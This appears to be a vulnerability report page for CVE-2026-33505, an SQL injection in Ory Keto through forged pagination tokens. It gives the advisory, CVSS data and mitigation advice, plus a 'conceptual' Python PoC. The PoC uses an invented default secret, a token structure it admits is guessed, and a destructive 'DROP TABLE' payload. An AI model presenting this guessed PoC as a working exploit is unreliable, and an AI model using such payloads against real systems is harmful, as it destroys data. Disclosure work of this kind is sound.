Security Vulnerability Report
中文
CVE-2026-33505 CVSS 7.2 HIGH

CVE-2026-33505

Published: 2026-03-26 19:17:05
Last Modified: 2026-04-17 19:45:13

Description

Ory Keto is am open source authorization server for managing permissions at scale. Prior to version 26.2.0, the GetRelationships API in Ory Keto is vulnerable to SQL injection due to flaws in its pagination implementation. Pagination tokens are encrypted using the secret configured in `secrets.pagination`. An attacker who knows this secret can craft their own tokens, including malicious tokens that lead to SQL injection. If this configuration value is not set, Keto falls back to a hard-coded default pagination encryption secret. Because this default value is publicly known, attackers can generate valid and malicious pagination tokens manually for installations where this secret is not set. This issue can be exploited when GetRelationships API is directly or indirectly accessible to the attacker, the attacker can pass a raw pagination token to the affected API, and the configuration value `secrets.pagination` is not set or known to the attacker. An attacker can execute arbitrary SQL queries through forged pagination tokens. As a first line of defense, immediately configure a custom value for `secrets.pagination` by generating a cryptographically secure random secret. Next, upgrade Keto to a fixed version, 26.2.0 or later, as soon as possible.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:ory:keto:*:*:*:*:*:*:*:* - VULNERABLE
Ory Keto < 26.2.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# This is a conceptual PoC for CVE-2026-33505 # It demonstrates how an attacker might craft a malicious pagination token # assuming knowledge of the default secret and encryption mechanism. import base64 import json from cryptography.fernet import Fernet # Hypothetical default secret (if not set by admin) DEFAULT_SECRET = b'some-default-secret-key-32-bytes-long' def craft_malicious_token(sql_payload): """ Crafts an encrypted pagination token containing SQL injection payload. """ f = Fernet(base64.urlsafe_b64encode(DEFAULT_SECRET)) # Construct a token object that the backend deserializes # Structure is hypothetical based on typical pagination implementations token_data = { "page_size": 10, "offset": f"0 OR 1=1; {sql_payload}--" } json_data = json.dumps(token_data).encode('utf-8') encrypted_token = f.encrypt(json_data) return encrypted_token.decode('utf-8') # Usage Example # payload = "DROP TABLE relationships;" # malicious_token = craft_malicious_token(payload) # print(f"Generated Malicious Token: {malicious_token}") # # Attacker would then send this token to the GetRelationships API: # GET /relationships?token={malicious_token}

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33505", "sourceIdentifier": "[email protected]", "published": "2026-03-26T19:17:04.753", "lastModified": "2026-04-17T19:45:13.037", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Ory Keto is am open source authorization server for managing permissions at scale. Prior to version 26.2.0, the GetRelationships API in Ory Keto is vulnerable to SQL injection due to flaws in its pagination implementation. Pagination tokens are encrypted using the secret configured in `secrets.pagination`. An attacker who knows this secret can craft their own tokens, including malicious tokens that lead to SQL injection. If this configuration value is not set, Keto falls back to a hard-coded default pagination encryption secret. Because this default value is publicly known, attackers can generate valid and malicious pagination tokens manually for installations where this secret is not set. This issue can be exploited when GetRelationships API is directly or indirectly accessible to the attacker, the attacker can pass a raw pagination token to the affected API, and the configuration value `secrets.pagination` is not set or known to the attacker. An attacker can execute arbitrary SQL queries through forged pagination tokens. As a first line of defense, immediately configure a custom value for `secrets.pagination` by generating a cryptographically secure random secret. Next, upgrade Keto to a fixed version, 26.2.0 or later, as soon as possible."}, {"lang": "es", "value": "Ory Keto es un servidor de autorización de código abierto para gestionar permisos a escala. Antes de la versión 26.2.0, la API GetRelationships en Ory Keto es vulnerable a inyección SQL debido a fallos en su implementación de paginación. Los tokens de paginación están cifrados usando el secreto configurado en 'secrets.pagination'. Un atacante que conoce este secreto puede crear sus propios tokens, incluyendo tokens maliciosos que conducen a inyección SQL. Si este valor de configuración no está establecido, Keto recurre a un secreto de cifrado de paginación predeterminado codificado. Dado que este valor predeterminado es de conocimiento público, los atacantes pueden generar tokens de paginación válidos y maliciosos manualmente para instalaciones donde este secreto no está configurado. Este problema puede ser explotado cuando la API GetRelationships es directa o indirectamente accesible para el atacante, el atacante puede pasar un token de paginación sin procesar a la API afectada, y el valor de configuración 'secrets.pagination' no está establecido o es conocido por el atacante. Un atacante puede ejecutar consultas SQL arbitrarias a través de tokens de paginación falsificados. Como primera línea de defensa, configure inmediatamente un valor personalizado para 'secrets.pagination' generando un secreto aleatorio criptográficamente seguro. A continuación, actualice Keto a una versión corregida, 26.2.0 o posterior, tan pronto como sea posible."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ory:keto:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.2.0", "matchCriteriaId": "D6DFADFD-AA8C-480F-BDFC-56FC549CBD24"}]}]}], "references": [{"url": "https://github.com/ory/keto/security/advisories/GHSA-c38g-mx2c-9wf2", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}